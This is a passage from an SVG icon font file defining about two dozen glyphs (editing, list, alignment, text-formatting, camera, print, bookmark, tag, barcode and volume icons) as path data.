<glyph unicode="&#xf040;" d="M 90.75,0l 22.75,22.75l-58.75,58.75l-22.75-22.75l0-26.75 l 32,0 l0-32 l 26.75,0 zM 221.5,232q0,5.5 -5.5,5.5q-2.5,0 -4.25-1.75l-135.5-135.5q-1.75-1.75 -1.75-4.25q0-5.5 5.5-5.5q 2.5,0 4.25,1.75l 135.5,135.5q 1.75,1.75 1.75,4.25zM 208,280l 104-104l-208-208l-104,0 l0,104 zM 378.75,256q0-13.25 -9.25-22.5l-41.5-41.5l-104,104l 41.5,41.25q 9,9.5 22.5,9.5 q 13.25,0 22.75-9.5l 58.75-58.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf03e;" d="M 160,240q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 416,144l0-112 l-352,0 l0,48 l 80,80l 40-40l 128,128zM 440,320l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-304 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,304  q0,3.25 -2.375,5.625t-5.625,2.375zM 480,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf03d;" d="M 448,296l0-272 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-100.75,100.75l0-41.5 q0-29.75 -21.125-50.875t-50.875-21.125l-176,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,176 q0,29.75 21.125,50.875t 50.875,21.125l 176,0 q 29.75,0 50.875-21.125t 21.125-50.875l0-41.25 l 100.75,100.5q 4.5,4.75 11.25,4.75q 3,0 6.25-1.25 q 9.75-4.25 9.75-14.75z"  />
<glyph unicode="&#xf03c;" d="M 88,176q0-3.5 -2.25-5.75l-72-72q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625l0,144 q0,3.25 2.375,5.625t 5.625,2.375q 3.5,0 5.75-2.25l 72-72q 2.25-2.25 2.25-5.75zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375t 2.375-5.625z"  />
<glyph unicode="&#xf03b;" d="M 96,248l0-144 q0-3.25 -2.375-5.625t-5.625-2.375q-3.5,0 -5.75,2.25l-72,72q-2.25,2.25 -2.25,5.75t 2.25,5.75l 72,72q 2.25,2.25 5.75,2.25q 3.25,0 5.625-2.375t 2.375-5.625zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375t 2.375-5.625z"  />
<glyph unicode="&#xf03a;" d="M 64,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 64,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 64,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 336,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 64,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625 t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48  q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625z"  />
<glyph unicode="&#xf039;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf038;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-384,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-288,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf037;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 352,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 416,240l0-32 q0-6.5 -4.75-11.25t-11.25-4.75 l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 320,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 160,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf036;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 352,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 416,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-384,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 320,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-288,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf035;" d="M 20.25,351.75l 13.5-6.75q 5-1.25 52.75-1.25l 32.5,0 l 4.75,0.75l 28.75,0.25l 111.5-0.25l 79.5,0 l 8.5-0.5q 3.5-0.25 7,1.75t 5.25,4l 1.75,2l 10.5,0.25q 3.75,0 7-0.25l0-26.125 t 0.25-32.875l 0.25-25l-0.25-14.5q0-8 -1-12.75q-9.75-3.75 -17-4.5q-6.25,10.75 -13.5,32q-2,6 -3.875,15.625t-2.875,16.375t-1.5,7.25q-3.25,3.75 -6.75,4.75q-1.75,0.5 -14.625,0.5t-34.625-0.25t-32-0.25 q-23.5,0 -31.75-1.25q-2.5-24.25 -2-34l 0.25-38l0,13 l 0.75-89.75l-0.25-36.75q-0.25-11.5 2.75-21.25q 12.25-6.25 22.25-8q 0.5,0 4.5-1.25t 11-3.25t 10.75-3q 7.5-2 12.5-4.5q 1.25-11.25 1.25-12.5q0-2.5 -0.75-7.25q-3.5-0.25 -8.5-0.25q-27.5,0 -46.75,2.5q-18,2 -59.5,2q-20.5,0 -58.25-3.25q-11.25-1.25 -17.5-1.25q-0.5,5.5 -0.5,6.5l-0.25,6.5l0,2.25 q 5.25,8.25 19.75,12.25 q 34.75,9.5 39.75,12.5q 2.25,5.25 3,14q 1.5,34.25 1.5,108.25l-1.25,11q0,66.25 -0.5,69.5q-0.5,2.75 -1.5,3.75q-1.5,1.25 -3.5,1.5q-9.5,1.5 -37,1.5q-12.5,0 -42.125-3.5t-33.125-6q-3.25-2.25 -5.5-8.25t-5.5-18.75t-6-21q-1.5-4.75 -4.875-8t-5.125-3.25q-11,6.75 -14,11l0,74.25 l0,21.5 zM 376.25,28.25q 6.5-5 6.5-12.25t-6.5-12.25l-40.5-31.5 q-6.5-5 -11.125-2.75t-4.625,10.5l0,20 l-256,0 l0-20 q0-8.25 -4.625-10.5t-11.125,2.75l-40.5,31.5q-6.5,5 -6.5,12.25t 6.5,12.25l 40.5,31.5q 6.5,5 11.125,2.75t 4.625-10.5l0-20 l 256,0 l0,20 q0,8.25 4.625,10.5t 11.125-2.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf034;" d="M 20.25,351.75l 13.5-6.75q 5-1.25 52.75-1.25l 32.5,0 l 4.75,0.75l 28.75,0.25l 53.75-0.25l 73.25,0 l 8.5-0.5q 3.5-0.25 7,1.75t 5.25,4l 1.75,2l 10.5,0.25q 3.75,0 7-0.25l0-26.125 t 0.25-32.875l 0.25-25l-0.25-14.5q0-8 -1-12.75q-9.75-3.75 -17-4.5q-6.25,10.75 -13.5,32q-2,6 -3.875,15.625t-2.875,16.375t-1.5,7.25q-3.25,3.75 -6.75,4.75q-1.75,0.5 -10.625,0.5t-25.875-0.25t-27.75-0.25 q-8.5,0 -16.75-1.25q-2.5-24.25 -2-34l 0.25-38l0-83 l 0.75-89.75l-0.25-36.75q-0.25-11.5 2.75-21.25q 12.25-6.25 22.25-8q 0.5,0 4.5-1.25t 11-3.25t 10.75-3q 7.5-2 12.5-4.5q 1.25-11.25 1.25-12.5q0-2.5 -0.75-7.25q-3.5-0.25 -8.5-0.25q-27.5,0 -46.75,2.5q-18,2 -59.5,2q-22,0 -58.25-3.5q-12-1 -17.5-1q-0.5,5.5 -0.5,6.5l-0.25,6.5l0,2.25 q 5.25,8.25 19.75,12.25 q 34.75,9.5 39.75,12.5q 2.25,5.25 3,14q 2,48 1.5,108.25l-1.25,107q-0.25,15.5 -0.125,29.625t 0.125,25.625t-0.5,14.25t-1.5,3.75q-1.5,1.25 -3.5,1.5q-9.5,1.5 -37,1.5q-10.75,0 -25-3.375t-18.25-6.125q-3.25-2.25 -5.5-8.25t-5.5-18.75t-6-21q-1.5-4.75 -4.875-8t-5.125-3.25q-11,6.75 -14,11l0,74.25 l0,21.5 zM 436,32q 8.25,0 10.5-4.625t-2.75-11.125 l-31.5-40.5q-5-6.5 -12.25-6.5t-12.25,6.5l-31.5,40.5q-5,6.5 -2.75,11.125t 10.5,4.625l 20,0 l0,256 l-20,0 q-8.25,0 -10.5,4.625t 2.75,11.125l 31.5,40.5q 5,6.5 12.25,6.5t 12.25-6.5l 31.5-40.5q 5-6.5 2.75-11.125t-10.5-4.625l-20,0 l0-256 l 20,0 z"  />
<glyph unicode="&#xf033;" d="M0-31.5l 4.25,21.25q 1,0.25 19.25,5q 19,4.75 29,9.75q 7.25,9.25 10.25,25.25l 6.75,34.75l 14,67l 3,16q 2,11 4.25,21.125t 4,16.75t 3.125,11.625t 2.25,7.625t 0.875,2.875l 7.25,39.25l 4,15.75l 5.5,33.75l 2,12.5l0,9.5 q-10.25,5.5 -36,7q-7,0.5 -9.5,1l 4.75,25.75l 79.25-3.5q 9.75-0.5 18.25-0.5q 16.5,0 53.5,2.25q 8.25,0.5 17,1.125t 9,0.625q-0.5-4.75 -1.5-9.5 q-1.75-7.25 -3.25-12.75q-13.75-4.75 -27.25-7.75q-16-4 -25.25-7.75q-3-7.75 -6-22q-2.25-11 -3.25-20.5q-11-49.75 -16.5-76.5l-15.25-77.75l-9.5-39.5l-10.75-58.75l-3-11.25q-0.5-1.75 0.25-6.75q 16-3.75 29.75-5.25q 9-1.25 16.5-2.5q-0.25-7.25 -1.75-14.5q-1.75-7.75 -2.25-10.25q-4.5,0 -5.75-0.25q-6-0.5 -10.5-0.5q-2.25,0 -7,0.75q-4.75,1 -36.25,4.25 l-49.5,0.5q-10.25,0.25 -43.5-2.75q-18.5-1.75 -24.5-2.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf032;" d="M 138.75,3.75q 19-8 35-8q 32.75,0 54,10.25t 30.5,28.25q 9.5,17.5 9.5,45.25q0,28.5 -10.25,45q-14.5,23.5 -35.25,31.5q-20,8 -61.75,8q-18.5,0 -25.25-2.5l0-36 l-0.25-43.25l 0.75-67.5q0-3.75 3-11zM 135.25,190.25q 10.75-1.75 27.25-1.75q 43.75,0 66,16.25t 22.25,56q0,28 -21.25,46.75q-21,18.75 -63.75,18.75q-13,0 -32.5-3.25q0-11 0.5-19.25 q 1.75-30.5 1.5-69.75l-0.25-24.5q0-10.75 0.25-19.25zM0-32l 0.5,23.5q 11.25,2.25 17,3q 19.25,3 30.75,7.75q 4.25,6.75 5.25,12.75q 2.25,16.5 2.25,48.5l-0.5,124.25q-1.25,64 -2.25,101q-0.25,21.75 -2.75,27.25q-0.25,1 -3,3q-4.5,3 -17.25,3.75q-7.5,0.5 -28.5,3.25l-1,20.75l 65,1.5l 95,3.25l 11.25,0.25q 1.25,0 3.5,0.125t 3.5,0.125q 0.25,0 5.375-0.125t 10.125-0.125l 18.5,0 q 22,0 47.75-6.75 q 10.75-3.25 24-9.75q 14.25-7.25 25.5-19q 11-11.75 16.25-26t 5.25-30.5q0-17.5 -8-32t-23.75-26.25q-6.5-5 -37.5-19.25q 44.25-10.25 66.75-36.5q 23-26.5 23-59q0-19 -7.25-40.25q-5.25-15.5 -17.75-29.25q-16.5-18 -35-27q-18.25-9 -50.75-15q-20.5-3.75 -49.5-2.75l-49.25,1q-21,0.5 -74.5-2.75q-8.25-0.75 -68-2.75z" horiz-adv-x="352"  />
<glyph unicode="&#xf031;" d="M 181.25,244.25l-42.5-112.5q 18.25-0.25 38.375-0.5t 29.75-0.375t 13.125-0.125l 7.25,0.5q-8,23.75 -23,60.25q-13.25,33 -23,52.75zM 5.25-32l-5.25,0 l 0.5,19.75q 5.5,1.75 20,4.5q 22.25,4 27.5,7.75q 5,4 12,17l 59.25,154l 70,181l 18.75,0 l 13.25,0 l 2.75-5.25l 51.25-120q 25.75-60.5 31-74.25q 9.75-25.5 24-58.75q 6.5-14.5 16.25-41q 6-16.75 16.25-37.25 q 5.5-12.25 8.75-14.25q 5.5-4.75 17.25-5.75q 11.75-1.5 25.75-6.75q 1.5-9.75 1.5-14.25q0-3.5 -0.25-6.5q-20,0 -48,2q-23.25,2 -47.25,2q-19.75,0 -33.75-0.5l-50-2.75l-14.5-0.5q0,11.25 1,19.5l 32.75,7q 14,3.25 17,5.75q 3,3 3,6.75t-1.5,8l-11.75,28.5l-23,57l-112.5,0.5q-7.25-16.25 -26-68.5q-5.75-16 -5.75-21q0-7.75 4.25-10.75 q 6.5-5.25 25.75-8q 0.75,0 3.375-0.5t 7.5-1.25t 10.125-1.5q 0.25-7 0.25-14.5q0-4.25 -0.5-6.75q-16.5,0 -87.25,5l-12-2q-20.25-3.5 -41.75-3.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf030;" d="M 240,216q 29.75,0 50.875-21.125t 21.125-50.875t-21.125-50.875t-50.875-21.125t-50.875,21.125t-21.125,50.875t 21.125,50.875t 50.875,21.125zM 416,320q 26.5,0 45.25-18.75t 18.75-45.25l0-224 q0-26.5 -18.75-45.25t-45.25-18.75l-352,0 q-26.5,0 -45.25,18.75t-18.75,45.25l0,224 q0,26.5 18.75,45.25t 45.25,18.75l 56,0 l 12.75,34 q 4.75,12.25 17.375,21.125t 25.875,8.875l 128,0 q 13.25,0 25.875-8.875t 17.375-21.125l 12.75-34l 56,0 zM 240,32q 46.25,0 79.125,32.875t 32.875,79.125t-32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875z" horiz-adv-x="480"  />
<glyph unicode="&#xf02f;" d="M 96,0l 224,0 l0,64 l-224,0 l0-64 zM 96,160l 224,0 l0,96 l-40,0 q-10,0 -17,7t-7,17l0,40 l-160,0 l0-160 zM 384,144q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,144l0-104 q0-3.25 -2.375-5.625t-5.625-2.375l-56,0 l0-40 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17 l0,40 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,104 q0,19.75 14.125,33.875t 33.875,14.125l 16,0 l0,136 q0,10 7,17t 17,7l 168,0 q 10,0 22-5t 19-12l 38-38q 7-7 12-19t 5-22l0-64 l 16,0 q 19.75,0 33.875-14.125t 14.125-33.875z" horiz-adv-x="416"  />
<glyph unicode="&#xf02e;" d="M 291,352q 5.75,0 11-2.25q 8.25-3.25 13.125-10.25t 4.875-15.5l0-322.25 q0-8.5 -4.875-15.5t-13.125-10.25q-4.75-2 -11-2q-12,0 -20.75,8l-110.25,106l-110.25-106q-9-8.25 -20.75-8.25q-5.75,0 -11,2.25q-8.25,3.25 -13.125,10.25t-4.875,15.5l0,322.25 q0,8.5 4.875,15.5t 13.125,10.25q 5.25,2.25 11,2.25l 262,0 z" horiz-adv-x="320"  />
<glyph unicode="&#xf02d;" d="M 409.75,264.5q 10-14.25 4.5-32.25l-68.75-226.5q-4.75-16 -19.125-26.875t-30.625-10.875l-230.75,0 q-19.25,0 -37.125,13.375t-24.875,32.875q-6,16.75 -0.5,31.75q0,1 0.75,6.75t 1,9.25q 0.25,2 -0.75,5.375t-0.75,4.875q 0.5,2.75 2,5.25t 4.125,5.875t 4.125,5.875q 5.75,9.5 11.25,22.875t 7.5,22.875q 0.75,2.5 0.125,7.5t-0.125,7q 0.75,2.75 4.25,7t 4.25,5.75 q 5.25,9 10.5,23t 6.25,22.5q 0.25,2.25 -0.625,8t 0.125,7q 1,3.25 5.5,7.625t 5.5,5.625q 4.75,6.5 10.625,21.125t 6.875,24.125q 0.25,2 -0.75,6.375t-0.5,6.625q 0.5,2 2.25,4.5t 4.5,5.75t 4.25,5.25q 2,3 4.125,7.625t 3.75,8.75t 4,9t 4.875,8t 6.625,5.875t 9,2.875t 11.875-1.375l-0.25-0.75q 9.5,2.25 12.75,2.25l 190.25,0 q 18.5,0 28.5-14t 4.5-32.5l-68.5-226.5 q-9-29.75 -17.875-38.375t-32.125-8.625l-217.25,0 q-6.75,0 -9.5-3.75q-2.75-4 -0.25-10.75q 6-17.5 36-17.5l 230.75,0 q 7.25,0 14,3.875t 8.75,10.375l 75,246.75q 1.75,5.5 1.25,14.25q 9.5-3.75 14.75-10.75zM 143.75,264q-1-3.25 0.5-5.625t 5-2.375l 152,0 q 3.25,0 6.375,2.375t 4.125,5.625l 5.25,16q 1,3.25 -0.5,5.625t-5,2.375l-152,0 q-3.25,0 -6.375-2.375 t-4.125-5.625zM 123,200q-1-3.25 0.5-5.625t 5-2.375l 152,0 q 3.25,0 6.375,2.375t 4.125,5.625l 5.25,16q 1,3.25 -0.5,5.625t-5,2.375l-152,0 q-3.25,0 -6.375-2.375t-4.125-5.625z" horiz-adv-x="416"  />
<glyph unicode="&#xf02c;" d="M 112,272q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 378.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-178.75,179q-9.5,9.25 -16.125,25.25t-6.625,29.25l0,104 q0,13 9.5,22.5t 22.5,9.5l 104,0 q 13.25,0 29.25-6.625t 25.5-16.125 l 178.75-178.5q 9.25-9.75 9.25-22.75zM 474.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-9,0 -14.75,3.5t-13.25,11.25l 117.5,117.5q 9.25,9.25 9.25,22.5q0,13 -9.25,22.75l-178.75,178.5q-9.5,9.5 -25.5,16.125t-29.25,6.625l 56,0 q 13.25,0 29.25-6.625t 25.5-16.125l 178.75-178.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="480"  />
<glyph unicode="&#xf02b;" d="M 112,272q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 378.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-178.75,179q-9.5,9.25 -16.125,25.25t-6.625,29.25l0,104 q0,13 9.5,22.5t 22.5,9.5l 104,0 q 13.25,0 29.25-6.625t 25.5-16.125 l 178.75-178.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf02a;" d="M 15.75,0l-15.75,0 l0,352 l 15.75,0 l0-352 zM 31.5,0.25l-8,0 l0,351.75 l 8,0 l0-351.75 zM 55,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 94.25,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 133.5,0.25l-15.5,0 l0,351.75 l 15.5,0 l0-351.75 zM 165,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 180.75,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 196.5,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 235.75,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 275,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 z M 306.5,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 338,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 361.5,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 408.75,0.25l-23.5,0 l0,351.75 l 23.5,0 l0-351.75 zM 424.5,0.25l-8,0 l0,351.75 l 8,0 l0-351.75 zM 448,0l-15.75,0 l0,352 l 15.75,0 l0-352 z"  />
<glyph unicode="&#xf029;" d="M 96,96l0-32 l-32,0 l0,32 l 32,0 zM 96,288l0-32 l-32,0 l0,32 l 32,0 zM 288,288l0-32 l-32,0 l0,32 l 32,0 zM 32,32.25l 96,0 l0,95.75 l-96,0 l0-95.75 zM 32,224l 96,0 l0,96 l-96,0 l0-96 zM 224,224l 96,0 l0,96 l-96,0 l0-96 zM 160,160l0-160 l-160,0 l0,160 l 160,0 zM 288,32l0-32 l-32,0 l0,32 l 32,0 zM 352,32l0-32 l-32,0 l0,32 l 32,0 z M 352,160l0-96 l-96,0 l0,32 l-32,0 l0-96 l-32,0 l0,160 l 96,0 l0-32 l 32,0 l0,32 l 32,0 zM 160,352l0-160 l-160,0 l0,160 l 160,0 zM 352,352l0-160 l-160,0 l0,160 l 160,0 z" horiz-adv-x="352"  />
<glyph unicode="&#xf028;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25zM 288,160q0-19 -10.625-35.375t-28.125-23.375q-2.5-1.25 -6.25-1.25q-6.5,0 -11.25,4.625t-4.75,11.375q0,5.25 3,8.875t 7.25,6.25t 8.5,5.75t 7.25,8.875 t 3,14.25t-3,14.25t-7.25,8.875t-8.5,5.75t-7.25,6.25t-3,8.875q0,6.75 4.75,11.375t 11.25,4.625q 3.75,0 6.25-1.25q 17.5-6.75 28.125-23.25t 10.625-35.5zM 352,160q0-38.25 -21.25-70.625t-56.25-47.125q-3.25-1.25 -6.25-1.25q-6.75,0 -11.5,4.75t-4.75,11.25q0,9.75 9.75,14.75q 14,7.25 19,11q 18.5,13.5 28.875,33.875t 10.375,43.375t-10.375,43.375 t-28.875,33.875q-5,3.75 -19,11q-9.75,5 -9.75,14.75q0,6.5 4.75,11.25t 11.25,4.75q 3.25,0 6.5-1.25q 35-14.75 56.25-47.125t 21.25-70.625zM 416,160q0-57.5 -31.75-105.625t-84.5-70.875q-3.25-1.25 -6.5-1.25q-6.5,0 -11.25,4.75t-4.75,11.25q0,9 9.75,14.75q 1.75,1 5.625,2.625t 5.625,2.625q 11.5,6.25 20.5,12.75q 30.75,22.75 48,56.75t 17.25,72.25t-17.25,72.25 t-48,56.75q-9,6.5 -20.5,12.75q-1.75,1 -5.625,2.625t-5.625,2.625q-9.75,5.75 -9.75,14.75q0,6.5 4.75,11.25t 11.25,4.75q 3.25,0 6.5-1.25q 52.75-22.75 84.5-70.875t 31.75-105.625z" horiz-adv-x="416"  />
<glyph unicode="&#xf027;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25zM 288,160q0-19 -10.625-35.375t-28.125-23.375q-2.5-1.25 -6.25-1.25q-6.5,0 -11.25,4.625t-4.75,11.375q0,5.25 3,8.875t 7.25,6.25t 8.5,5.75t 7.25,8.875 t 3,14.25t-3,14.25t-7.25,8.875t-8.5,5.75t-7.25,6.25t-3,8.875q0,6.75 4.75,11.375t 11.25,4.625q 3.75,0 6.25-1.25q 17.5-6.75 28.125-23.25t 10.625-35.5z" horiz-adv-x="288"  />
